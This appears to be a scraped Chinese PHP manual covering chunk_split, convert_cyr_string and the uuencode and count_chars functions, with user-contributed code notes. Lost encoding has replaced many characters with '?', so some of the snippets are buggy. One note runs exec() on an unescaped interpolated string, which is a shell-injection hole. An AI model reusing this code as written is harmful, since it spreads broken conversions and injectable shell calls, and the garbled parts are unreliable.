使用此函数将字符串分割成小块非常有用。例如将 base64_encode() 的输出转换成符合 RFC 2045 语义的字符串。它会在每 length 个字符后边插入 separator。

参数

string

要分割的字符。

length

分割的尺寸。

separator

行尾序列符号。

返回值

返回分割后的字符。

示例

Example #1 chunk_split() 例子

<?php
// 使用 RFC 2045 语义格式化 $data
$new_string = chunk_split(base64_encode($data));
?>

参见

  • str_split() - 将字符串转换为数组
  • explode() - 使用一个字符串分割另一个字符串
  • wordwrap() - 打断字符串为指定数量的字串
  • » RFC 2045

User Contributed Notes

chris at ocproducts dot com 24-Apr-2017 07:48
The description of the function is slightly inaccurate. A trailing $end is also added.
vijit at mail dot ru 23-Feb-2016 06:22
As an alternative for  qeremy [atta] gmail [dotta] com
There is much shorter way for binarysafe chunking of multibyte string:

<?php
function word_chunk($str, $len = 76, $end = "\n") {
    $pattern = '~.{1,' . $len . '}~u'; // like "~.{1,76}~u"
    $str = preg_replace($pattern, '$0' . $end, $str);
    return rtrim($str, $end);
}

$str = 'русский';
echo chunk_split($str, 3) ."\n";
echo word_chunk($str, 3) . "\n";
?>

р?
?с
с?
?и
й

рус
ски
й
Anonymous 19-Feb-2014 01:57
Important note is the maximum line length and the recommended one. The standard says:
"Lines in a message MUST be a maximum of 998 characters excluding the CRLF, but it is RECOMMENDED that lines be limited to 78 characters excluding the CRLF. "

See PHP manual for chunk_split() Which is set to 76 characters long chunk and "\r\n" at the end of line by default.
qeremy [atta] gmail [dotta] com 28-Feb-2012 03:35
An alternative for unicode strings;

<?php
function chunk_split_unicode($str, $l = 76, $e = "\r\n") {
    $tmp = array_chunk(
        preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY), $l);
    $str = "";
    foreach ($tmp as $t) {
        $str .= join("", $t) . $e;
    }
    return $str;
}

$str = "Yar?m kilo ?ay, yar?m kilo ?eker";
echo chunk_split($str, 4) ."\n";
echo chunk_split_unicode($str, 4);
?>

Yar?
?m k
ilo
?ay
, ya
r?m
 kil
o ?
eker

Yar?
m ki
lo ?
ay,
yar?
m ki
lo ?
eker
belal dot nabeh at gmail dot com 10-Aug-2010 08:02
If you are using UTF-8 charset you will face a problem with Arabic language
to solve this problem i used this function

<?php
function chunk_split_($text,$length,$string_end)
{
    $text = iconv("UTF-8","windows-1256",$text);
    $text = str_split($text);
    foreach($text as $val)
    {
        if($a !== $val)
        {
            $a = $val;
            $x = 0;
        }else{
            $a = $val;
            $x++;
        }
        if($x > $length)
        {
            $new_text .= $val.$string_end;
            $x = 0;
        }else
        {
             $new_text .= $val;
        }

    }
    $new_text = iconv("windows-1256","UTF-8",$new_text);
    return $new_text;
}
?>
Peter from dezzignz.com 05-Apr-2010 04:30
chunk_split() is not multibyte safe. If you ever run into needing the function that is multibyte safe, here you go:

<?php

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
    }
    return $array;
}

function mb_chunk_split($str, $len, $glue) {
    if (empty($str)) return false;
    $array = mbStringToArray ($str);
    $n = 0;
    $new = '';
    foreach ($array as $char) {
        if ($n < $len) $new .= $char;
        elseif ($n == $len) {
            $new .= $glue . $char;
            $n = 0;
        }
        $n++;
    }
    return $new;
}

?>
dampee at earthlink dot net 20-Nov-2009 09:10
I've found this quite useful for simulating various kinds of shuffles with cards.  It is humorous but can imitate multiple deck cuts and other (imperfectly) random events.

<?php
function truffle_shuffle($body, $chunklen = 76, $end = "\r\n")
{
     $chunk = chunk_split($body, $chunklen, "-=blender=-");
     $truffle = explode("-=blender=-",$chunk);
     $shuffle = shuffle($truffle);
     $huknc = implode($end,$shuffle);
     return $huknc;
}
?>
tim at weird spots in my crotch dot com 08-May-2008 02:29
@Royce

I think this is better, since you can still use the ampersand in your text:

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    elseif($c == " ")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
neos at blizzz dot ru 03-May-2008 11:38
"version" of chunk_split for cyrillic characters in UTF-8

public function UTFChunk($Text,$Len = 10,$End = "\r\n")
{
    if(mb_detect_encoding($Text) == "UTF-8")
    {
        return mb_convert_encoding(
                chunk_split(
                    mb_convert_encoding($Text, "KOI8-R","UTF-8"), $Len,$End
                ),
                "UTF-8", "KOI8-R"
            );
    } else
    {
        return chunk_split($Text,$Len,$End);
    }
}

this is example for russian language
Royce 16-Apr-2008 12:31
Here's a version of Chunk Split I wrote that will not split html entities. Useful if you need to inject something in html (in my case, <wbr/> tags to allow for long text wrapping).

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
mark [at] d0gz [dot] net 10-Apr-2007 10:12
When using ssmtp for simple command line mailing:

$mail_to = "destination@emailbox.com";
$msg = "this would be an actual base64_encoded gzip msg";
$date = date(r);
$mail  = "X-FROM: root@sender.org \n";
$mail .= "X-TO: ".$mail_to. " \n";
$mail .= "To: ".$mail_to. " \n";
$mail .= "Date: $date \n";
$mail .= "From: root@sender.org \n";
$mail .= "Subject: lifecheck \n";
$mail .= $msg." \n";
exec("echo '$mail' | /usr/sbin/ssmtp ".$mail_to);

be sure to invoke chunk_split() on your message body - ssmtp becomes unhappy with long lines and will subsequently trash  your message.
hansvane at yahoo dot com dot ar 21-Jan-2007 10:06
This function is very simple and many other functions make this on PHP 5 and even some ones in 4 the good think about this one is that work on php 3.0.6 and 4

function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
    $texttoshow = chunk_split($xstr,$xlenint,"\r\n");
    $texttoshow  = split("\r\n",$texttoshow);
    $texttoshow = $texttoshow[0].$xlaststr;
    return $texttoshow;
}

// For use

echo split_hjms_chars("This is your text",6,"...");

// Will return

This i...

It is useful to cut long text on preview lists and if the server it's old.

Hope it helps some one. Hans Svane
chris AT w3style.co DOT uk 14-Aug-2006 12:32
I'm not sure what versions this also occurs in but the output of chunk_split() in PHP 5.0.4 does not match the output in other versions of PHP.

In all versions of PHP I have used, apart from 5.0.4 chunk_split() adds the separator (\r\n) to the end of the string.  But in PHP 5.0.4 this does not happen.  This had a fairly serious impact on a library I maintain so it may also affect others who are not aware of this.
xamine at gmail dot com 04-Jun-2006 11:06
In reply to "adrian at zhp dot inet dot pl" digit grouping function:
<?php
    $number = strrev(chunk_split (strrev($number), 3,' '));
    //If $number is '1234567', result is '1 234 567'.
?>

There is a much more simple way of doing this, by using the built-in number_format() function.

<?php
   $number = number_format($number,2,"."," ");

   //This will round $number to 2 decimals, use the dot (".")
   //as decimal point, and the space (" ") as thousand sepparator.

?>
kevin @t hyguard,com 03-Oct-2005 07:08
Not quite completely obvious, but...

you can un_chunk_split() by:

$long_str = str_replace( "\r\n", "", $chunked_str );
harish at thespitbox dot net 30-Jul-2005 05:45
another way to group thousands in a number, which is much simpler, is built into PHP :)

www.php.net/number_format
Kevin 25-Jun-2005 04:10
To phpkid:

This is a much simpler solution.

<?php
function longWordWrap($string) {
    $string = str_replace("\n", "\n ", $string); // add a space after newline characters, so that 2 words only seperated by \n are not considered as 1 word
    $words = explode(" ", $string); // now split by space
    foreach ($words as $word) {
        $outstring .= chunk_split($word, 12, " ") . " ";
    }
    return $outstring;
}
?>
phpkid 28-May-2005 10:47
Well I have been having issues with a shoutbox I am coding it would keep expanding the <TD> if there were large words in it but I fixed it with this:

function PadString($String){
    $Exploded = explode(" ", $String);
    $Max_Parts = count($Exploded);

    $CurArray = 0;
    $OutString = '';
    while($CurArray<=$Max_Parts)
    {
        $Peice_Size = strlen($Exploded[$CurArray]);
        if($Peice_Size>15)
        {
            $OutString .= chunk_split($Exploded[$CurArray], 12, " ");
            $CurArray++;
        } else {
            $OutString .= " ".$Exploded[$CurArray];
            $CurArray++;
        }
    }

    return $OutString;
}
mv@NOSPAM 24-Jan-2004 07:39
the best way to solve the problem with the last string added by chunk_split() is:

<?php
$string = '1234';
substr(chunk_split($string, 2, ':'), 0, -1);
// will return 12:34
?>
Danilo 10-Dec-2003 02:51
>> chunk_split will also add the break _after_ the last occurence.

this should be not the problem

substr(chunk_split('FF99FF', 2, ':'),0,8);
will return FF:99:FF


将字符由一种 Cyrillic 字符转换成另一种

  • ? chunk_split
  • convert_uudecode ?
  • PHP Manual
  • 字符串 函数
  • 将字符由一种 Cyrillic 字符转换成另一种

convert_cyr_string

(PHP 4, PHP 5, PHP 7)

convert_cyr_string — 将字符由一种 Cyrillic 字符转换成另一种

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

convert_cyr_string(string $str, string $from, string $to): string

此函数将给定的字符串从一种 Cyrillic 字符转换成另一种，返回转换之后的字符串。

参数

str

要转换的字符。

from

单个字符，代表源 Cyrillic 字符集。

to

单个字符，代表了目标 Cyrillic 字符集。

支持的类型有：

  • k - koi8-r
  • w - windows-1251
  • i - iso8859-5
  • a - x-cp866
  • d - x-cp866
  • m - x-mac-cyrillic

返回值

返回转换后的字符串。

注释

Note: 此函数可安全用于二进制对象。

参见

  • mb_convert_encoding() - 转换字符串，从一个字符编码到另一个字符编码
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

strrev(&#34;moc dot liamg at voglod dot yilisav&#34;); 20-Feb-2009 12:02
Unfortunately input data must be a string only. But it is may be changed! ;)

To convert multi-dimensional array I use this recursive function:

<?php
function convert_cyr_array($array,$from,$to){
    foreach($array as $key=>$value){
        if(is_array($value)) {
            $result[$key] = convert_cyr_array($value,$from,$to);
            continue;
        }
        $result[$key] = convert_cyr_string($value,$from,$to);
    }
    return $result;
}
?>

An example:

<?php
$array[0] = "сВМПЛП";
$array[1] = "зТХЫБ";
$array[2] = array("пЗХТЕГ","рПНЙДПТ");
$array[3] = array(
                     array("бРЕМШУЙО","нБОДБТЙО"),
                     array("бВТЙЛПУ","рЕТУЙЛ")
                );

$result = convert_cyr_array($array,"k","w");
/* Returns:

Array
(
  [0] => Яблоко
  [1] => Груша
  [2] => Array
    (
      [0] => Огурец
      [1] => Помидор
    )
  [3] => Array
    (
      [0] => Array
        (
          [0] => Апельсин
          [1] => Мандарин
        )
      [1] => Array
        (
          [0] => Абрикос
          [1] => Персик
        )
    )
)*/
?>
apoc at ukr dot net 17-Sep-2007 10:43
:) what about NUMBER!!!???

    function Utf8Win($str,$type="w")
    {
        static $conv='';
        if (!is_array($conv))
        {
            $conv = array();
            for($x=128;$x<=143;$x++)
            {
                $conv['u'][]=chr(209).chr($x);
                $conv['w'][]=chr($x+112);
            }
            for($x=144;$x<=191;$x++)
            {
                $conv['u'][]=chr(208).chr($x);
                $conv['w'][]=chr($x+48);
            }
            $conv['u'][]=chr(208).chr(129); // Ё
            $conv['w'][]=chr(168);
            $conv['u'][]=chr(209).chr(145); // ё
            $conv['w'][]=chr(184);
            $conv['u'][]=chr(208).chr(135); // ?
            $conv['w'][]=chr(175);
            $conv['u'][]=chr(209).chr(151); // ?
            $conv['w'][]=chr(191);
            $conv['u'][]=chr(208).chr(134); // ?
            $conv['w'][]=chr(178);
            $conv['u'][]=chr(209).chr(150); // ?
            $conv['w'][]=chr(179);
            $conv['u'][]=chr(210).chr(144); // ?
            $conv['w'][]=chr(165);
            $conv['u'][]=chr(210).chr(145); // ?
            $conv['w'][]=chr(180);
            $conv['u'][]=chr(208).chr(132); // ?
            $conv['w'][]=chr(170);
            $conv['u'][]=chr(209).chr(148); // ?
            $conv['w'][]=chr(186);
            $conv['u'][]=chr(226).chr(132).chr(150); // №
            $conv['w'][]=chr(185);
        }
        if ($type == 'w') { return str_replace($conv['u'],$conv['w'],$str); }
        elseif ($type == 'u') { return str_replace($conv['w'], $conv['u'],$str); }
        else { return $str; }
    }
Vasyl Skotona 14-Sep-2007 09:28
A better function to convert cp1251 string to utf8.
Works with russian and ukrainian text.

function unicod($str) {
    $conv=array();
    for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x);
    for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x);
    $conv[184]=chr(209).chr(145); #ё
    $conv[168]=chr(208).chr(129); #Ё
    $conv[179]=chr(209).chr(150); #?
    $conv[178]=chr(208).chr(134); #?
    $conv[191]=chr(209).chr(151); #?
    $conv[175]=chr(208).chr(135); #?
    $conv[186]=chr(209).chr(148); #?
    $conv[170]=chr(208).chr(132); #?
    $conv[180]=chr(210).chr(145); #?
    $conv[165]=chr(210).chr(144); #?
    $conv[184]=chr(209).chr(145); #?
    $ar=str_split($str);
    foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b;
    return $nstr;
}
Sote Korveziroski 24-May-2006 02:53
I have made mistake remove this test line:
         echo "<p>".ord($xchr)."</p>\n";
code should be like this:

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
Sote Korveziroski 24-May-2006 10:24
Only this code works OK for me, for translating win-1251 to utf-8 for macedonian letters!

// Modificated by tapin13
// Corrected by Timuretis
// Corrected by Sote for macedonian cyrillic
// Convert win-1251 to utf-8

function unicode_mk_cyr($str) {
     $encode = "";

     for ($ii=0;$ii<strlen($str);$ii++) {
         $xchr=substr($str,$ii,1);
         echo "<p>".ord($xchr)."</p>\n";
         if (ord($xchr)>191) {
             $xchr=ord($xchr)+848;
             $xchr="&#" . $xchr . ";";
         }
         if(ord($xchr) == 129) {
               $xchr = "&#1027;";
         }
         if(ord($xchr) == 163) {
               $xchr = "&#1032;";
         }
         if(ord($xchr) == 138) {
               $xchr = "&#1033;";
         }
         if(ord($xchr) == 140) {
               $xchr = "&#1034;";
         }
         if(ord($xchr) == 143) {
               $xchr = "&#1039;";
         }
         if(ord($xchr) == 141) {
               $xchr = "&#1036;";
         }
         if(ord($xchr) == 189) {
               $xchr = "&#1029;";
         }

         if(ord($xchr) == 188) {
               $xchr = "&#1112;";
         }
         if(ord($xchr) == 131) {
               $xchr = "&#1107;";
         }
         if(ord($xchr) == 190) {
               $xchr = "&#1109;";
         }
         if(ord($xchr) == 154) {
               $xchr = "&#1113;";
         }
         if(ord($xchr) == 156) {
               $xchr = "&#1114;";
         }
         if(ord($xchr) == 159) {
               $xchr = "&#1119;";
         }
         if(ord($xchr) == 157) {
               $xchr = "&#1116;";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
zehyaat] yandex dotru 23-Mar-2006 12:15
Sorry for my previous post. NOT array_reverce, array_flip is actual function. Correct function:

function Encode($str,$type=u)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_flip($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}

Sorry for my English ;)
zehya [at] yandex dotru 23-Mar-2006 11:58
cathody at mail dot ru(27-Jul-2005 06:41)
You function doesn't work on my PC..
It's work:
function Encode2($str,$type)
{
    $conv=array();
    for($x=192;$x<=239;$x++)
        $conv[u][chr($x)]=chr(208).chr($x-48);
    for($x=240;$x<=255;$x++)
        $conv[u][chr($x)]=chr(209).chr($x-112);
    $conv[u][chr(168)]=chr(208).chr(129);
    $conv[u][chr(184)]=chr(209).chr(209);
    $conv[w]=array_reverse($conv[u]);
    if($type=='w' || $type=='u')
        return strtr($str,$conv[$type]);
    else
        return $str;
}
webmaster at chassidus dot ru 29-Aug-2005 10:51
//I've also built the same way for hebrew to utf converting

function heb2utf($s) {

    for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=224 )    {$t.=chr(215).chr($c-80); continue; }

   }
    return $t;
}

//Simple unicoder and decoder for hebrew and russian:

function unicode_hebrew($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>223) {
            $xchr=ord($xchr)+1264;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function unicode_russian($str) {
    for ($ii=0;$ii<strlen($str);$ii++) {
        $xchr=substr($str,$ii,1);
        if (ord($xchr)>191) {
            $xchr=ord($xchr)+848;
            $xchr="&#" . $xchr . ";";
        }
        $encode=$encode . $xchr;

    }
    return $encode;

}

function decode_unicoded_hebrew($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1456 and $code<=1514) { //hebrew
                   $code=$code-1264;
                $xchr=chr($code);
               } else { //other unicode
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else //not unicode
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}

function decode_unicoded_russian($str) {
    $decode="";

    $ar=split("&#",$str);

    foreach ($ar as $value ) {

        $in1=strpos($value,";"); //end of code

        if ($in1>0) {// unicode

            $code=substr($value,0,$in1);

            if ($code>=1040 and $code<=1103) {
                   $code=$code-848;
                $xchr=chr($code);
               } else {
                $xchr="&#" . $code . ";";
             }
            $xchr=$xchr . substr($value,$in1+1);
        } else
              $xchr = $value;

        $decode=$decode . $xchr;
    }
    return $decode;
}
cathody at mail dot ru 27-Jul-2005 06:41
Praising other people for their efforts to write a convenient UTF8 to Win-1251 functions may I mention that, since str_replace allows arrays as parameters, the function may be rewritten in a slightly efficient way (moreover, the array generated may be stored for performance improvement):

<?php

 function Encode ( $str, $type )
{
 // $type:
// 'w' - encodes from UTF to win
 // 'u' - encodes from win to UTF

    static $conv='';
    if (!is_array ( $conv ))
    {
        $conv=array ();
        for ( $x=128; $x <=143; $x++ )
        {
          $conv['utf'][]=chr(209).chr($x);
          $conv['win'][]=chr($x+112);
        }

        for ( $x=144; $x <=191; $x++ )
        {
               $conv['utf'][]=chr(208).chr($x);
               $conv['win'][]=chr($x+48);
        }

        $conv['utf'][]=chr(208).chr(129);
        $conv['win'][]=chr(168);
        $conv['utf'][]=chr(209).chr(145);
        $conv['win'][]=chr(184);
     }
     if ( $type=='w' )
          return str_replace ( $conv['utf'], $conv['win'], $str );
     elseif ( $type=='u' )
          return str_replace ( $conv['win'], $conv['utf'], $str );
     else
        return $str;
  }
?>
felix[at]tvpro.net.ru 13-Feb-2005 12:57
Check this code -- exelent to convert win-1251 to UTF-8
just one fix!!!
       if ($c==184) { $t.=chr(209).chr(145); continue; };

Anything more it is not necessary.
It is grateful to threed [at] koralsoft.com
28-Jul-2003 03:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
standov at cgu dot kiev dot ua 08-Dec-2004 01:05
He is improved function to decode win1251->UTF8
<?php
        function win2utf($s){
            $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
            for($i=0; $i<strlen($s); $i++)    {
                $c=ord($s[$i]);
                if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
                elseif ($c>239) $t.=$c209.chr($c-112);
                elseif ($c==184) $t.=$c209.$c209;
                elseif ($c==168)    $t.=$c208.$c129;
                else $t.=$s[$i];
            }
            return $t;
        }
?>
aeon 27-Dec-2003 08:20
threed's function works great, but the replacement for the letter small io (&#1105;) needs to be changed from
<?php
if ($c==184) { $t.=chr(209).chr(209); continue; };
?>

to
<?php
if ($c==184) { $t.=chr(209).chr(145); continue; };
?>

so, the final working result should look like this:
<?php
function win3utf($s) {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
       if ($c==168) { $t.=chr(208).chr(129); continue; };
   }
   return $t;
}
?>
threed [at] koralsoft.com 28-Jul-2003 04:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
    for($i=0, $m=strlen($s); $i<$m; $i++)    {
        $c=ord($s[$i]);
        if ($c<=127) {$t.=chr($c); continue; }
        if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
        if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
        if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
        if ($c==184) { $t.=chr(209).chr(209); continue; };
    if ($c==168) { $t.=chr(208).chr(129);  continue; };
    }
    return $t;
}
?>
german at artexpert dot ee 03-May-2003 05:13
previous bit of code (grmaxim's win_to_utf8 function) didn't work for me, so I wrote my own func to convert from win1251 to utf8:

<?php
function win2utf($s) {
    for($i=0,$m=strlen($s);$i<$m;$i++) {
        $c=ord($s[$i]);
        if ($c>127) // convert only special chars
            if     ($c==184)    $t.=chr(209).chr(209); // small io
            elseif ($c==168)    $t.=chr(208).chr(129); // capital io
            else              $t.=($c>239?chr(209):chr(208)).chr($c-48);
        else $t.=$s[$i];
    }
    return $t;
}
?>

Hope this helps
pavel_bashkatov at elkogroup dot com 17-Apr-2003 05:20
To: mihailsbo at lycos dot ru
Transliteration could be done easier:

<?
function transliterate($cyrstr)
    {
        $ru = array('A', 'a',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?',
                    '?', '?');

        $en = array('A', 'a',
                    'B', 'b',
                    'V', 'v',
                    'G', 'g',
                    'D', 'd',
                    'E', 'e',
                    'E', 'e',
                    'Zh', 'zh',
                    'Z', 'z',
                    'I', 'i',
                    'J', 'j',
                    'K', 'k',
                    'L', 'l',
                    'M', 'm',
                    'N', 'n',
                    'O', 'o',
                    'P', 'p',
                    'R', 'r',
                    'S', 's',
                    'T', 't',
                    'U', 'u',
                    'F', 'f',
                    'H', 'h',
                    'C', 'c',
                    'Ch', 'ch',
                    'Sh', 'sh',
                    'Sch', 'sch',
                    '\'', '\'',
                    'Y', 'y',
                    '\'', '\'',
                    'E', 'e',
                    'Ju', 'ju',
                    'Ja', 'ja');

        return str_replace($ru, $en, $cyrstr);
    }
?>
mokvas at freemail dot org dot mk 30-Jul-2001 09:45
Not all of cyrilic characters are supported by this function. Cyrilic chars from Macedonian Alphabet like Sh, kj, dz' ,nj are not supported.


解码一个 uuencode 编码的字符串

  • ? convert_cyr_string
  • convert_uuencode ?
  • PHP Manual
  • 字符串 函数
  • 解码一个 uuencode 编码的字符串

convert_uudecode

(PHP 5, PHP 7, PHP 8)

convert_uudecode — 解码一个 uuencode 编码的字符串

说明

convert_uudecode(string $string): string|false

convert_uudecode() 解码一个 uuencode 编码的字符串。

Note: convert_uudecode() 既不接受 begin 行也不接受 end，它们是 uuencoded files 的一部分。

参数

string

uuencode 编码后的数据。

返回值

返回解码后的字符串数据， 或者在失败时返回 false.。

示例

Example #1 convert_uudecode() 例子

<?php
echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");
?>

以上示例会输出：

I love PHP!

参见

  • convert_uuencode() - 使用 uuencode 编码一个字符串

User Contributed Notes

There are no user contributed notes for this page.


使用 uuencode 编码一个字符串

  • ? convert_uudecode
  • count_chars ?
  • PHP Manual
  • 字符串 函数
  • 使用 uuencode 编码一个字符串

convert_uuencode

(PHP 5, PHP 7, PHP 8)

convert_uuencode — 使用 uuencode 编码一个字符串

说明

convert_uuencode(string $string): string

convert_uuencode() 使用 uuencode 算法对一个字符串进行编码。

uuencode 算法会将所有（含二进制数据）字符串转化为可输出的字符，并且可以被安全的应用于网络传输。使用 uuencode 编码后的数据将会比源数据大 35% 左右。

Note: convert_uuencode() 既不生成 begin 行也不产生 end，它们是 uuencoded files 的一部分。

参数

string

需要被编码的数据。

返回值

返回 uuencode 编码后的数据。

更新日志

版本 | 说明
8.0.0 | 在此版本之前，尝试转换空字符串将返回 false，没有任何特殊原因。

示例

Example #1 convert_uuencode() 例子

<?php
$some_string = "test\ntext text\r\n";

echo convert_uuencode($some_string);
?>

以上示例会输出：

0=&5S=`IT97AT('1E>'0-"@``
`

参见

  • convert_uudecode() - 解码一个 uuencode 编码的字符串
  • base64_encode() - 使用 MIME base64 对数据进行编码

User Contributed Notes

zash at zash dot se 30-May-2008 12:30
note that using base64 or uuencode to store data in a database is pretty useless. if you properly escape your data and use a binary field (BLOB etc) there is no problem.
root at mantoru dot de 10-Nov-2007 09:29
@Craig's note: base64_encode() is better suited for that. In fact, it produces smaller output and operates slightly faster. I did a little benchmark -- here are my findings:

File: JPG, 631614 bytes

== Base64 ==
execution time: 0.0039639472961426 secs
output length: 842152

== UUencode ==
execution time: 0.004105806350708 secs
output length: 870226


返回字符串所用字符的信息

  • ? convert_uuencode
  • crc32 ?
  • PHP Manual
  • 字符串 函数
  • 返回字符串所用字符的信息

count_chars

(PHP 4, PHP 5, PHP 7, PHP 8)

count_chars — 返回字符串所用字符的信息

说明

count_chars(string $string, int $mode = 0): array|string

统计 string 中每个字节值（0..255）出现的次数，使用多种模式返回结果。

参数

string

需要统计的字符串。

mode

参见返回的值。

返回值

根据不同的 mode，count_chars() 返回下列不同的结果：

  • 0 - 以所有的每个字节值作为键名，出现次数作为值的数组。
  • 1 - 与 0 相同，但只列出出现次数大于零的字节值。
  • 2 - 与 0 相同，但只列出出现次数等于零的字节值。
  • 3 - 返回由所有使用了的字节值组成的字符串。
  • 4 - 返回由所有未使用的字节值组成的字符串。

更新日志

版本 | 说明
8.0.0 | 在此版本之前，函数在失败时返回 false。

示例

Example #1 count_chars() 示例

<?php
$data = "Two Ts and one F.";

foreach (count_chars($data, 1) as $i => $val) {
echo "There were $val instance(s) of \"" , chr($i) , "\" in the string.\n";
}
?>

以上示例会输出：

There were 4 instance(s) of " " in the string.
There were 1 instance(s) of "." in the string.
There were 1 instance(s) of "F" in the string.
There were 2 instance(s) of "T" in the string.
There were 1 instance(s) of "a" in the string.
There were 1 instance(s) of "d" in the string.
There were 1 instance(s) of "e" in the string.
There were 2 instance(s) of "n" in the string.
There were 2 instance(s) of "o" in the string.
There were 1 instance(s) of "s" in the string.
There were 1 instance(s) of "w" in the string.

参见

  • strpos() - 查找字符串首次出现的位置
  • substr_count() - 计算字串出现的次数

User Contributed Notes

Andrey G 22-Feb-2020 06:44
Checking that two strings are anagram:

<?php

function isAnagram($string1, $string2)
{
  return count_chars($string1, 1) === count_chars($string2, 1);
}

isAnagram('act', 'cat'); // true

?>
Anonymous 26-Jan-2016 05:29
count_chars for multibyte supported.

<?php

function mb_count_chars ($string, $mode = 0) {

    $result =  array_fill(0, 256, 0);

    for ($i = 0, $size = mb_strlen($string); $i < $size; $i++) {
        $char = mb_substr($string, $i, 1);
        if (strlen($char) > 1) {
            continue;
        }

        $code = ord($char);
        if ($code >= 0 && $code <= 255) {
